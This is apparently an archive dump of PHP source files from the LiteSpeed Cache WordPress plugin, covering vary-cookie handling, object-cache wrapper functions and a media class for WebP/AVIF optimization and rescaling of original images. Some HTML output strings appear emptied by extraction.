$this->get_env_vary(); return $vary; } /** * Get request environment vary value (from server variables). * * @since 4.0 * @return string|false */ public function get_env_vary() { $env_vary = isset( $_SERVER['LSCACHE_VARY_VALUE'] ) ? wp_unslash( (string) $_SERVER['LSCACHE_VARY_VALUE'] ) : false; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized if ( ! $env_vary ) { $env_vary = isset( $_SERVER['HTTP_X_LSCACHE_VARY_VALUE'] ) ? wp_unslash( (string) $_SERVER['HTTP_X_LSCACHE_VARY_VALUE'] ) : false; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized } return $env_vary; } /** * Mark current user as commenter (called on comment submit). * * @since 1.1.6 * @return void */ public function append_commenter() { $this->add_commenter( true ); } /** * Add commenter vary (optionally from redirect). * * @since 1.1.3 * * @param bool $from_redirect Whether request is from redirect page. * @return void */ private function add_commenter( $from_redirect = false ) { // If the cookie is lost somehow, set it. if ( 'commenter' !== self::has_vary() ) { self::debug( 'Add commenter' ); // Save commenter status only for current domain path. $this->_cookie( 'commenter', time() + (int) apply_filters( 'comment_cookie_lifetime', 30000000 ), self::_relative_path( $from_redirect ) ); } } /** * Remove commenter vary if set. * * @since 1.1.3 * @return void */ private function remove_commenter() { if ( 'commenter' === self::has_vary() ) { self::debug( 'Remove commenter' ); $this->_cookie( false, false, self::_relative_path() ); } } /** * Generate a relative cookie path from current request. * * @since 1.1.3 * * @param bool $from_redirect When true, uses HTTP_REFERER; otherwise SCRIPT_URL. * @return string|false Path or false. */ private static function _relative_path( $from_redirect = false ) { $path = false; $tag = $from_redirect ? 'HTTP_REFERER' : 'SCRIPT_URL'; if ( ! empty( $_SERVER[ $tag ] ) ) { $parsed = wp_parse_url( wp_unslash( (string) $_SERVER[ $tag ] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized $path = ! empty( $parsed['path'] ) ? $parsed['path'] : false; self::debug( 'Cookie Vary path: ' . ( $path ? $path : 'false' ) ); } return $path; } /** * Build the final X-LiteSpeed-Vary header for current request. * NOTE: Non caccheable page can still set vary ( for logged in process ). * * @since 1.0.13 * * @return string|void Header string or nothing when not needed. */ public function finalize() { // Finalize default vary for non-guest. if ( ! defined( 'LITESPEED_GUEST' ) || ! LITESPEED_GUEST ) { $this->_update_default_vary(); } $tp_cookies = $this->_finalize_curr_vary_cookies(); if ( ! $tp_cookies ) { self::debug2( 'no customized vary' ); return; } self::debug( 'finalized 3rd party cookies', $tp_cookies ); return self::X_HEADER . ': ' . implode( ',', $tp_cookies ); } /** * Get vary cookies (names or values JSON) added for current page. * * @since 1.0.13 * * @param bool $values_json When true, returns JSON array of cookie values; else cookie=name items. * @return array|string|false List of vary cookie items, JSON string, or false when none. */ private function _finalize_curr_vary_cookies( $values_json = false ) { global $post; $cookies = []; // No need to append default vary cookie name. if ( ! empty( $post->post_password ) ) { $postpass_key = 'wp-postpass_' . COOKIEHASH; if ( $this->_get_cookie_val( $postpass_key ) ) { self::debug( 'finalize bypassed due to password protected vary ' ); // If user has password cookie, do not cache & ignore existing vary cookies. Control::set_nocache( 'password protected vary' ); return false; } $cookies[] = $values_json ? $this->_get_cookie_val( $postpass_key ) : $postpass_key; } $cookies = apply_filters( 'litespeed_vary_curr_cookies', $cookies ); if ( $cookies ) { $cookies = array_filter( array_unique( $cookies ) ); self::debug( 'vary cookies changed by filter litespeed_vary_curr_cookies', $cookies ); } if ( ! $cookies ) { return false; } // Format cookie name data or value data. sort( $cookies ); // Maintain stable order for $values_json=true. foreach ( $cookies as $k => $v ) { $cookies[ $k ] = $values_json ? $this->_get_cookie_val( $v ) : 'cookie=' . $v; } return $values_json ? wp_json_encode( $cookies ) : $cookies; } /** * Get a cookie value safely. * * @since 4.0 * * @param string $key Cookie name. * @return false|string Cookie value or false. */ private function _get_cookie_val( $key ) { if ( ! empty( $_COOKIE[ $key ] ) ) { return wp_unslash( (string) $_COOKIE[ $key ] ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized } return false; } /** * Set or clear the vary cookie. * * If the vary cookie changed, mark page as non-cacheable for this response. * * @since 1.0.4 * * @param int|false $val Cookie value to set, or false to clear. * @param int $expire Expiration timestamp (ignored when $val is false). * @param string $path Cookie path (false to use COOKIEPATH). * @return void */ private function _cookie( $val = false, $expire = 0, $path = false ) { if ( ! $val ) { $expire = 1; } // HTTPS bypass toggle for clients using both HTTP/HTTPS. $is_ssl = $this->conf( Base::O_UTIL_NO_HTTPS_VARY ) ? false : is_ssl(); setcookie( self::$_vary_name, $val, (int) $expire, $path ? $path : COOKIEPATH, COOKIE_DOMAIN, $is_ssl, true ); self::debug( 'set_cookie ---> [k] ' . self::$_vary_name . ' [v] ' . ( false === $val ? 'false' : $val ) . ' [ttl] ' . ( (int) $expire - time() ) ); } } object.lib.php000064400000034250152077520270007303 0ustar00add( $key, $data, $group, (int) $expire ); } /** * Adds multiple values to the cache in one call. * * @since 5.4 * @access public * @see WP_Object_Cache::add_multiple() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param array $data Array of keys and values to be set. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @param int $expire Optional. When to expire the cache contents, in seconds. * Default 0 (no expiration). * @return bool[] Array of return values, grouped by key. Each value is either * true on success, or false if cache key and group already exist. */ function wp_cache_add_multiple( array $data, $group = '', $expire = 0 ) { global $wp_object_cache; return $wp_object_cache->add_multiple( $data, $group, $expire ); } /** * Replaces the contents of the cache with new data. * * @since 1.8 * @access public * @see WP_Object_Cache::replace() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param int|string $key The key for the cache data that should be replaced. * @param mixed $data The new data to store in the cache. * @param string $group Optional. The group for the cache data that should be replaced. * Default empty. * @param int $expire Optional. When to expire the cache contents, in seconds. * Default 0 (no expiration). * @return bool True if contents were replaced, false if original value does not exist. */ function wp_cache_replace( $key, $data, $group = '', $expire = 0 ) { global $wp_object_cache; return $wp_object_cache->replace( $key, $data, $group, (int) $expire ); } /** * Saves the data to the cache. * * Differs from wp_cache_add() and wp_cache_replace() in that it will always write data. * * @since 1.8 * @access public * @see WP_Object_Cache::set() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param int|string $key The cache key to use for retrieval later. * @param mixed $data The contents to store in the cache. * @param string $group Optional. Where to group the cache contents. Enables the same key * to be used across groups. Default empty. * @param int $expire Optional. When to expire the cache contents, in seconds. * Default 0 (no expiration). * @return bool True on success, false on failure. */ function wp_cache_set( $key, $data, $group = '', $expire = 0 ) { global $wp_object_cache; return $wp_object_cache->set( $key, $data, $group, (int) $expire ); } /** * Sets multiple values to the cache in one call. * * @since 5.4 * @access public * @see WP_Object_Cache::set_multiple() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param array $data Array of keys and values to be set. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @param int $expire Optional. When to expire the cache contents, in seconds. * Default 0 (no expiration). * @return bool[] Array of return values, grouped by key. Each value is either * true on success, or false on failure. */ function wp_cache_set_multiple( array $data, $group = '', $expire = 0 ) { global $wp_object_cache; return $wp_object_cache->set_multiple( $data, $group, $expire ); } /** * Retrieves the cache contents from the cache by key and group. * * @since 1.8 * @access public * @see WP_Object_Cache::get() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param int|string $key The key under which the cache contents are stored. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @param bool $force Optional. Whether to force an update of the local cache * from the persistent cache. Default false. * @param bool $found Optional. Whether the key was found in the cache (passed by reference). * Disambiguates a return of false, a storable value. Default null. * @return mixed|false The cache contents on success, false on failure to retrieve contents. */ function wp_cache_get( $key, $group = '', $force = false, &$found = null ) { global $wp_object_cache; return $wp_object_cache->get( $key, $group, $force, $found ); } /** * Retrieves multiple values from the cache in one call. * * @since 5.4 * @access public * @see WP_Object_Cache::get_multiple() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param array $keys Array of keys under which the cache contents are stored. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @param bool $force Optional. Whether to force an update of the local cache * from the persistent cache. Default false. * @return array Array of return values, grouped by key. Each value is either * the cache contents on success, or false on failure. */ function wp_cache_get_multiple( $keys, $group = '', $force = false ) { global $wp_object_cache; return $wp_object_cache->get_multiple( $keys, $group, $force ); } /** * Removes the cache contents matching key and group. * * @since 1.8 * @access public * @see WP_Object_Cache::delete() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param int|string $key What the contents in the cache are called. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @return bool True on successful removal, false on failure. */ function wp_cache_delete( $key, $group = '' ) { global $wp_object_cache; return $wp_object_cache->delete( $key, $group ); } /** * Deletes multiple values from the cache in one call. * * @since 5.4 * @access public * @see WP_Object_Cache::delete_multiple() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param array $keys Array of keys under which the cache to deleted. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @return bool[] Array of return values, grouped by key. Each value is either * true on success, or false if the contents were not deleted. */ function wp_cache_delete_multiple( array $keys, $group = '' ) { global $wp_object_cache; return $wp_object_cache->delete_multiple( $keys, $group ); } /** * Increments numeric cache item's value. * * @since 1.8 * @access public * @see WP_Object_Cache::incr() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param int|string $key The key for the cache contents that should be incremented. * @param int $offset Optional. The amount by which to increment the item's value. * Default 1. * @param string $group Optional. The group the key is in. Default empty. * @return int|false The item's new value on success, false on failure. */ function wp_cache_incr( $key, $offset = 1, $group = '' ) { global $wp_object_cache; return $wp_object_cache->incr( $key, $offset, $group ); } /** * Decrements numeric cache item's value. * * @since 1.8 * @access public * @see WP_Object_Cache::decr() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param int|string $key The cache key to decrement. * @param int $offset Optional. The amount by which to decrement the item's value. * Default 1. * @param string $group Optional. The group the key is in. Default empty. * @return int|false The item's new value on success, false on failure. */ function wp_cache_decr( $key, $offset = 1, $group = '' ) { global $wp_object_cache; return $wp_object_cache->decr( $key, $offset, $group ); } /** * Removes all cache items. * * @since 1.8 * @access public * @see WP_Object_Cache::flush() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @return bool True on success, false on failure. */ function wp_cache_flush() { global $wp_object_cache; return $wp_object_cache->flush(); } /** * Removes all cache items from the in-memory runtime cache. * * @since 5.4 * @access public * @see WP_Object_Cache::flush_runtime() * * @return bool True on success, false on failure. */ function wp_cache_flush_runtime() { global $wp_object_cache; return $wp_object_cache->flush_runtime(); } /** * Removes all cache items in a group, if the object cache implementation supports it. * * Before calling this function, always check for group flushing support using the * `wp_cache_supports( 'flush_group' )` function. * * @since 5.4 * @access public * @see WP_Object_Cache::flush_group() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param string $group Name of group to remove from cache. * @return bool True if group was flushed, false otherwise. */ function wp_cache_flush_group( $group ) { global $wp_object_cache; return $wp_object_cache->flush_group( $group ); } /** * Determines whether the object cache implementation supports a particular feature. * * @since 5.4 * @access public * * @param string $feature Name of the feature to check for. Possible values include: * 'add_multiple', 'set_multiple', 'get_multiple', 'delete_multiple', * 'flush_runtime', 'flush_group'. * @return bool True if the feature is supported, false otherwise. */ function wp_cache_supports( $feature ) { switch ( $feature ) { case 'add_multiple': case 'set_multiple': case 'get_multiple': case 'delete_multiple': case 'flush_runtime': return true; case 'flush_group': default: return false; } } /** * Closes the cache. * * This function has ceased to do anything since WordPress 2.5. The * functionality was removed along with the rest of the persistent cache. * * This does not mean that plugins can't implement this function when they need * to make sure that the cache is cleaned up after WordPress no longer needs it. * * @since 1.8 * @access public * * @return true Always returns true. */ function wp_cache_close() { return true; } /** * Adds a group or set of groups to the list of global groups. * * @since 1.8 * @access public * @see WP_Object_Cache::add_global_groups() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param string|string[] $groups A group or an array of groups to add. */ function wp_cache_add_global_groups( $groups ) { global $wp_object_cache; $wp_object_cache->add_global_groups( $groups ); } /** * Adds a group or set of groups to the list of non-persistent groups. * * @since 1.8 * @access public * * @param string|string[] $groups A group or an array of groups to add. */ function wp_cache_add_non_persistent_groups( $groups ) { global $wp_object_cache; $wp_object_cache->add_non_persistent_groups( $groups ); } /** * Switches the internal blog ID. * * This changes the blog id used to create keys in blog specific groups. * * @since 1.8 * @access public * @see WP_Object_Cache::switch_to_blog() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param int $blog_id Site ID. */ function wp_cache_switch_to_blog( $blog_id ) { global $wp_object_cache; $wp_object_cache->switch_to_blog( $blog_id ); } media.cls.php000064400000130126152077520270007126 0ustar00. * * @var array */ private $_vpi_preload_list = []; /** * The user-level next-gen format supported (''|webp|avif). * * @var string */ private $_format = ''; /** * The system-level chosen next-gen format (webp|avif). * * @var string */ private $_sys_format = ''; /** * Init. * * @since 1.4 */ public function __construct() { self::debug2( 'init' ); $this->_wp_upload_dir = wp_upload_dir(); if ( $this->conf( Base::O_IMG_OPTM_WEBP ) ) { $this->_sys_format = 'webp'; $this->_format = 'webp'; if ( 2 === $this->conf( Base::O_IMG_OPTM_WEBP ) ) { $this->_sys_format = 'avif'; $this->_format = 'avif'; } if ( ! $this->_browser_support_next_gen() ) { $this->_format = ''; } $this->_format = apply_filters( 'litespeed_next_gen_format', $this->_format ); } } /** * Hooks after user init. * * @since 7.2 * @since 7.4 Add media replace original with scaled. * @return void */ public function after_user_init() { // Hook to attachment delete action (PR#844, Issue#841) for AJAX del compatibility. add_action( 'delete_attachment', [ $this, 'delete_attachment' ], 11, 2 ); // For big images, allow to replace original with scaled image. if ( $this->conf( Base::O_MEDIA_AUTO_RESCALE_ORI ) ) { // Added priority 9 to happen before other functions added. add_filter( 'wp_update_attachment_metadata', [ $this, 'rescale_ori' ], 9, 2 ); } } /** * Init optm features. * * @since 3.0 * @access public * @return void */ public function init() { if ( is_admin() ) { return; } // Due to ajax call doesn't send correct accept header, have to limit webp to HTML only. if ( $this->webp_support() ) { // Hook to srcset. if ( function_exists( 'wp_calculate_image_srcset' ) ) { add_filter( 'wp_calculate_image_srcset', [ $this, 'webp_srcset' ], 988 ); } // Hook to mime icon // add_filter( 'wp_get_attachment_image_src', [ $this, 'webp_attach_img_src' ], 988 );// todo: need to check why not // add_filter( 'wp_get_attachment_url', [ $this, 'webp_url' ], 988 ); // disabled to avoid wp-admin display } if ( $this->conf( Base::O_MEDIA_LAZY ) && ! $this->cls( 'Metabox' )->setting( 'litespeed_no_image_lazy' ) ) { self::debug( 'Suppress default WP lazyload' ); add_filter( 'wp_lazy_loading_enabled', '__return_false' ); } /** * Replace gravatar. * * @since 3.0 */ $this->cls( 'Avatar' ); add_filter( 'litespeed_buffer_finalize', [ $this, 'finalize' ], 4 ); add_filter( 'litespeed_optm_html_head', [ $this, 'finalize_head' ] ); } /** * Handle attachment create (rescale original). * * @param array $metadata Current meta array. * @param int $attachment_id Attachment ID. * @return array Modified metadata. * @since 7.4 */ public function rescale_ori( $metadata, $attachment_id ) { // Test if create and image was resized. if ( $metadata && isset( $metadata['original_image'], $metadata['file'] ) && false !== strpos( $metadata['file'], '-scaled' ) ) { // Get rescaled file name. $path_exploded = explode( '/', strrev( $metadata['file'] ), 2 ); $rescaled_file_name = strrev( $path_exploded[0] ); // Create paths for images: resized and original. $base_path = $this->_wp_upload_dir['basedir'] . $this->_wp_upload_dir['subdir'] . '/'; $rescaled_path = $base_path . $rescaled_file_name; $new_path = $base_path . $metadata['original_image']; // Change array file key. $metadata['file'] = $this->_wp_upload_dir['subdir'] . '/' . $metadata['original_image']; if ( 0 === strpos( $metadata['file'], '/' ) ) { $metadata['file'] = substr( $metadata['file'], 1 ); } // Delete array "original_image" key. unset( $metadata['original_image'] ); if ( file_exists( $rescaled_path ) && file_exists( $new_path ) ) { // Move rescaled to original using WP_Filesystem. global $wp_filesystem; if ( ! $wp_filesystem ) { require_once ABSPATH . '/wp-admin/includes/file.php'; \WP_Filesystem(); } if ( $wp_filesystem ) { $wp_filesystem->move( $rescaled_path, $new_path, true ); } // Update meta "_wp_attached_file". update_post_meta( $attachment_id, '_wp_attached_file', $metadata['file'] ); } } return $metadata; } /** * Route media actions. * * @since 7.7 * @return void */ public function handler() { $type = Router::verify_type(); switch ( $type ) { case self::TYPE_BATCH_RESCALE_ORI: $this->_batch_rescale_ori(); break; default: break; } Admin::redirect(); } /** * Batch replace all scaled images with their originals. * * Follows the rm_bkup() pagination pattern. * * @since 7.7 * @access private */ private function _batch_rescale_ori() { global $wpdb; // phpcs:ignore WordPress.Security.NonceVerification.Recommended $offset = ! empty( $_GET['litespeed_i'] ) ? absint( wp_unslash( $_GET['litespeed_i'] ) ) : 0; $limit = 500; $count = 0; $img_q = "SELECT a.ID, b.meta_value FROM `$wpdb->posts` a LEFT JOIN `$wpdb->postmeta` b ON b.post_id = a.ID WHERE b.meta_key = '_wp_attachment_metadata' AND a.post_type = 'attachment' AND a.post_status = 'inherit' AND a.post_mime_type IN ('image/jpeg', 'image/png', 'image/gif') ORDER BY a.ID LIMIT %d, %d "; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $list = $wpdb->get_results( $wpdb->prepare( $img_q, [ $offset * $limit, $limit ] ) ); foreach ( $list as $v ) { if ( ! $v->ID || ! $v->meta_value ) { continue; } // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged $meta_value = @maybe_unserialize( $v->meta_value ); if ( ! is_array( $meta_value ) ) { continue; } if ( empty( $meta_value['original_image'] ) || empty( $meta_value['file'] ) || false === strpos( $meta_value['file'], '-scaled' ) ) { continue; } $attachment_id = $v->ID; // Extract subdirectory from metadata file path (e.g. "2024/05/photo-scaled.jpg" → "2024/05"). $subdir = pathinfo( $meta_value['file'], PATHINFO_DIRNAME ); // Build relative paths for rename(). $scaled_filename = basename( $meta_value['file'] ); $scaled_path = $subdir . '/' . $scaled_filename; $original_path = $subdir . '/' . $meta_value['original_image']; // Verify scaled file exists before proceeding // TODO: need to ues isfile func to allow hook from offload plugins $basedir = $this->_wp_upload_dir['basedir'] . '/'; if ( ! file_exists( $basedir . $scaled_path ) ) { self::debug( 'Skipped: scaled file missing [pid] ' . $attachment_id ); continue; } // Move scaled file → original file using WP_Filesystem via rename(). $this->rename( $scaled_path, $original_path, $attachment_id ); // Update metadata: point file to original, remove original_image key. $meta_value['file'] = $subdir . '/' . $meta_value['original_image']; unset( $meta_value['original_image'] ); wp_update_attachment_metadata( $attachment_id, $meta_value ); update_post_meta( $attachment_id, '_wp_attached_file', $meta_value['file'] ); ++$count; } self::debug( 'batch_rescale_ori offset=' . $offset . ' processed=' . $count ); // Check if there are more rows to process. ++$offset; // phpcs:ignore WordPress.DB.DirectDatabaseQuery, WordPress.DB.PreparedSQL.NotPrepared $to_be_continued = $wpdb->get_row( $wpdb->prepare( $img_q, [ $offset * $limit, 1 ] ) ); if ( $to_be_continued ) { return Router::self_redirect( Router::ACTION_MEDIA, self::TYPE_BATCH_RESCALE_ORI ); } Admin_Display::success( sprintf( __( 'Batch rescale completed.', 'litespeed-cache' ) ) ); } /** * Add featured image and VPI preloads to head. * * @param string $content Current head HTML. * @return string Modified head HTML. */ public function finalize_head( $content ) { // if ( $this->_vpi_preload_list ) { foreach ( $this->_vpi_preload_list as $v ) { $content .= ''; } } return $content; } /** * Adjust WP default JPG quality. * * @since 3.0 * @access public * * @param int $quality Current quality. * @return int Adjusted quality. */ public function adjust_jpg_quality( $quality ) { $v = $this->conf( Base::O_IMG_OPTM_JPG_QUALITY ); if ( $v ) { return $v; } return $quality; } /** * Register admin menu. * * @since 1.6.3 * @access public * @return void */ public function after_admin_init() { /** * JPG quality control. * * @since 3.0 */ add_filter( 'jpeg_quality', [ $this, 'adjust_jpg_quality' ] ); add_filter( 'manage_media_columns', [ $this, 'media_row_title' ] ); add_filter( 'manage_media_custom_column', [ $this, 'media_row_actions' ], 10, 2 ); add_action( 'litespeed_media_row', [ $this, 'media_row_con' ] ); } /** * Media delete action hook. * * @since 2.4.3 * @access public * * @param int $post_id Post ID. * @return void */ public static function delete_attachment( $post_id ) { self::debug( 'delete_attachment [pid] ' . $post_id ); Img_Optm::cls()->reset_row( $post_id ); } /** * Return media file info if exists. * * This is for remote attachment plugins. * * @since 2.9.8 * @access public * * @param string $short_file_path Relative file path under uploads. * @param int $post_id Post ID. * @return array|false Array( url, md5, size ) or false. */ public function info( $short_file_path, $post_id ) { $short_file_path = wp_normalize_path( $short_file_path ); $basedir = $this->_wp_upload_dir['basedir'] . '/'; if ( 0 === strpos( $short_file_path, $basedir ) ) { $short_file_path = substr( $short_file_path, strlen( $basedir ) ); } $real_file = $basedir . $short_file_path; if ( file_exists( $real_file ) ) { return [ 'url' => $this->_wp_upload_dir['baseurl'] . '/' . $short_file_path, 'md5' => md5_file( $real_file ), 'size' => filesize( $real_file ), ]; } /** * WP Stateless compatibility #143 https://github.com/litespeedtech/lscache_wp/issues/143 * * @since 2.9.8 * Should return array( 'url', 'md5', 'size' ). */ $info = apply_filters( 'litespeed_media_info', [], $short_file_path, $post_id ); if ( ! empty( $info['url'] ) && ! empty( $info['md5'] ) && ! empty( $info['size'] ) ) { return $info; } return false; } /** * Delete media file. * * @since 2.9.8 * @access public * * @param string $short_file_path Relative file path under uploads. * @param int $post_id Post ID. * @return void */ public function del( $short_file_path, $post_id ) { $real_file = $this->_wp_upload_dir['basedir'] . '/' . $short_file_path; if ( file_exists( $real_file ) ) { wp_delete_file( $real_file ); self::debug( 'deleted ' . $real_file ); } do_action( 'litespeed_media_del', $short_file_path, $post_id ); } /** * Rename media file. * * @since 2.9.8 * @access public * * @param string $short_file_path Old relative path. * @param string $short_file_path_new New relative path. * @param int $post_id Post ID. * @return void */ public function rename( $short_file_path, $short_file_path_new, $post_id ) { $real_file = $this->_wp_upload_dir['basedir'] . '/' . $short_file_path; $real_file_new = $this->_wp_upload_dir['basedir'] . '/' . $short_file_path_new; if ( file_exists( $real_file ) ) { global $wp_filesystem; if ( ! $wp_filesystem ) { require_once ABSPATH . '/wp-admin/includes/file.php'; \WP_Filesystem(); } if ( $wp_filesystem ) { $wp_filesystem->move( $real_file, $real_file_new, true ); } self::debug( 'renamed ' . $real_file . ' to ' . $real_file_new ); } do_action( 'litespeed_media_rename', $short_file_path, $short_file_path_new, $post_id ); } /** * Media Admin Menu -> Image Optimization Column Title. * * @since 1.6.3 * @access public * * @param array $posts_columns Existing columns. * @return array Modified columns. */ public function media_row_title( $posts_columns ) { $posts_columns['imgoptm'] = esc_html__( 'LiteSpeed Optimization', 'litespeed-cache' ); return $posts_columns; } /** * Media Admin Menu -> Image Optimization Column. * * @since 1.6.2 * @access public * * @param string $column_name Current column name. * @param int $post_id Post ID. * @return void */ public function media_row_actions( $column_name, $post_id ) { if ( 'imgoptm' !== $column_name ) { return; } do_action( 'litespeed_media_row', $post_id ); } /** * Display image optimization info in the media list row. * * @since 3.0 * * @param int $post_id Attachment post ID. * @return void */ public function media_row_con( $post_id ) { $att_info = wp_get_attachment_metadata( $post_id ); if ( empty( $att_info['file'] ) ) { return; } $short_path = $att_info['file']; $size_meta = get_post_meta( $post_id, Img_Optm::DB_SIZE, true ); echo '

      '; // Original image info. if ( $size_meta && ! empty( $size_meta['ori_saved'] ) ) { $percent = (int) ceil( ( (int) $size_meta['ori_saved'] * 100 ) / max( 1, (int) $size_meta['ori_total'] ) ); $extension = pathinfo( $short_path, PATHINFO_EXTENSION ); $bk_file = substr( $short_path, 0, -strlen( $extension ) ) . 'bk.' . $extension; $bk_optm_file = substr( $short_path, 0, -strlen( $extension ) ) . 'bk.optm.' . $extension; $link = Utility::build_url( Router::ACTION_IMG_OPTM, 'orig' . $post_id ); $desc = false; $cls = ''; if ( $this->info( $bk_file, $post_id ) ) { $curr_status = esc_html__( '(optm)', 'litespeed-cache' ); $desc = esc_attr__( 'Currently using optimized version of file.', 'litespeed-cache' ) . ' ' . esc_attr__( 'Click to switch to original (unoptimized) version.', 'litespeed-cache' ); } elseif ( $this->info( $bk_optm_file, $post_id ) ) { $cls .= ' litespeed-warning'; $curr_status = esc_html__( '(non-optm)', 'litespeed-cache' ); $desc = esc_attr__( 'Currently using original (unoptimized) version of file.', 'litespeed-cache' ) . ' ' . esc_attr__( 'Click to switch to optimized version.', 'litespeed-cache' ); } echo wp_kses( GUI::pie_tiny( $percent, 24, sprintf( esc_html__( 'Original file reduced by %1$s (%2$s)', 'litespeed-cache' ), $percent . '%', Utility::real_size( $size_meta['ori_saved'] ) ), 'left' ), GUI::allowed_svg_tags() ); printf( esc_html__( 'Orig saved %s', 'litespeed-cache' ), (int) $percent . '%' ); if ( $desc ) { printf( ' %4$s', esc_url( $link ), esc_attr( $cls ), wp_kses_post( $desc ), esc_html( $curr_status ) ); } else { printf( ' %2$s', esc_attr__( 'Using optimized version of file. ', 'litespeed-cache' ) . ' ' . esc_attr__( 'No backup of original file exists.', 'litespeed-cache' ), esc_html__( '(optm)', 'litespeed-cache' ) ); } } elseif ( $size_meta && 0 === (int) $size_meta['ori_saved'] ) { echo wp_kses( GUI::pie_tiny( 0, 24, esc_html__( 'Congratulation! Your file was already optimized', 'litespeed-cache' ), 'left' ), GUI::allowed_svg_tags() ); printf( esc_html__( 'Orig %s', 'litespeed-cache' ), '' . esc_html__( '(no savings)', 'litespeed-cache' ) . '' ); } else { echo esc_html__( 'Orig', 'litespeed-cache' ) . ''; } echo '

      '; echo '

      '; // WebP/AVIF info. if ( $size_meta && $this->webp_support( true ) && ! empty( $size_meta[ $this->_sys_format . '_saved' ] ) ) { $is_avif = 'avif' === $this->_sys_format; $size_meta_saved = $size_meta[ $this->_sys_format . '_saved' ]; $size_meta_total = $size_meta[ $this->_sys_format . '_total' ]; $percent = ceil( ( $size_meta_saved * 100 ) / max( 1, $size_meta_total ) ); $link = Utility::build_url( Router::ACTION_IMG_OPTM, $this->_sys_format . $post_id ); $desc = false; $cls = ''; if ( $this->info( $short_path . '.' . $this->_sys_format, $post_id ) ) { $curr_status = esc_html__( '(optm)', 'litespeed-cache' ); $desc = $is_avif ? esc_attr__( 'Currently using optimized version of AVIF file.', 'litespeed-cache' ) : esc_attr__( 'Currently using optimized version of WebP file.', 'litespeed-cache' ); $desc .= ' ' . esc_attr__( 'Click to switch to original (unoptimized) version.', 'litespeed-cache' ); } elseif ( $this->info( $short_path . '.optm.' . $this->_sys_format, $post_id ) ) { $cls .= ' litespeed-warning'; $curr_status = esc_html__( '(non-optm)', 'litespeed-cache' ); $desc = $is_avif ? esc_attr__( 'Currently using original (unoptimized) version of AVIF file.', 'litespeed-cache' ) : esc_attr__( 'Currently using original (unoptimized) version of WebP file.', 'litespeed-cache' ); $desc .= ' ' . esc_attr__( 'Click to switch to optimized version.', 'litespeed-cache' ); } echo wp_kses( GUI::pie_tiny( $percent, 24, sprintf( $is_avif ? esc_html__( 'AVIF file reduced by %1$s (%2$s)', 'litespeed-cache' ) : esc_html__( 'WebP file reduced by %1$s (%2$s)', 'litespeed-cache' ), $percent . '%', Utility::real_size( $size_meta_saved ) ), 'left' ), GUI::allowed_svg_tags() ); printf( $is_avif ? esc_html__( 'AVIF saved %s', 'litespeed-cache' ) : esc_html__( 'WebP saved %s', 'litespeed-cache' ), '' . esc_html( $percent ) . '%' ); if ( $desc ) { printf( ' %4$s', esc_url( $link ), esc_attr( $cls ), wp_kses_post( $desc ), esc_html( $curr_status ) ); } else { printf( ' %3$s', esc_attr__( 'Using optimized version of file. ', 'litespeed-cache' ), $is_avif ? esc_attr__( 'No backup of unoptimized AVIF file exists.', 'litespeed-cache' ) : esc_attr__( 'No backup of unoptimized WebP file exists.', 'litespeed-cache' ), esc_html__( '(optm)', 'litespeed-cache' ) ); } } else { echo esc_html( $this->next_gen_image_title() ) . ''; } echo '

      '; // Delete row btn. if ( $size_meta ) { printf( '', esc_url( Utility::build_url( Router::ACTION_IMG_OPTM, Img_Optm::TYPE_RESET_ROW, false, null, [ 'id' => $post_id ] ) ), esc_html__( 'Restore from backup', 'litespeed-cache' ) ); echo ''; } } /** * Get wp size info. * * NOTE: this is not used because it has to be after admin_init. * * @since 1.6.2 * @return array $sizes Data for all currently-registered image sizes. */ public function get_image_sizes() { global $_wp_additional_image_sizes; $sizes = []; foreach ( get_intermediate_image_sizes() as $_size ) { if ( in_array( $_size, [ 'thumbnail', 'medium', 'medium_large', 'large' ], true ) ) { $sizes[ $_size ]['width'] = get_option( $_size . '_size_w' ); $sizes[ $_size ]['height'] = get_option( $_size . '_size_h' ); $sizes[ $_size ]['crop'] = (bool) get_option( $_size . '_crop' ); } elseif ( isset( $_wp_additional_image_sizes[ $_size ] ) ) { $sizes[ $_size ] = [ 'width' => $_wp_additional_image_sizes[ $_size ]['width'], 'height' => $_wp_additional_image_sizes[ $_size ]['height'], 'crop' => $_wp_additional_image_sizes[ $_size ]['crop'], ]; } } return $sizes; } /** * Exclude role from optimization filter. * * @since 1.6.2 * @access public * * @param bool $sys_level Return system-level format if true. * @return string Next-gen format name or empty string. */ public function webp_support( $sys_level = false ) { if ( $sys_level ) { return $this->_sys_format; } return $this->_format; // User level next gen support. } /** * Detect if browser supports next-gen format. * * @return bool */ private function _browser_support_next_gen() { $accept = isset( $_SERVER['HTTP_ACCEPT'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_ACCEPT'] ) ) : ''; if ( $accept ) { if ( false !== strpos( $accept, 'image/' . $this->_sys_format ) ) { return true; } } $ua = isset( $_SERVER['HTTP_USER_AGENT'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ) : ''; if ( $ua ) { $user_agents = [ 'chrome-lighthouse', 'googlebot', 'page speed' ]; foreach ( 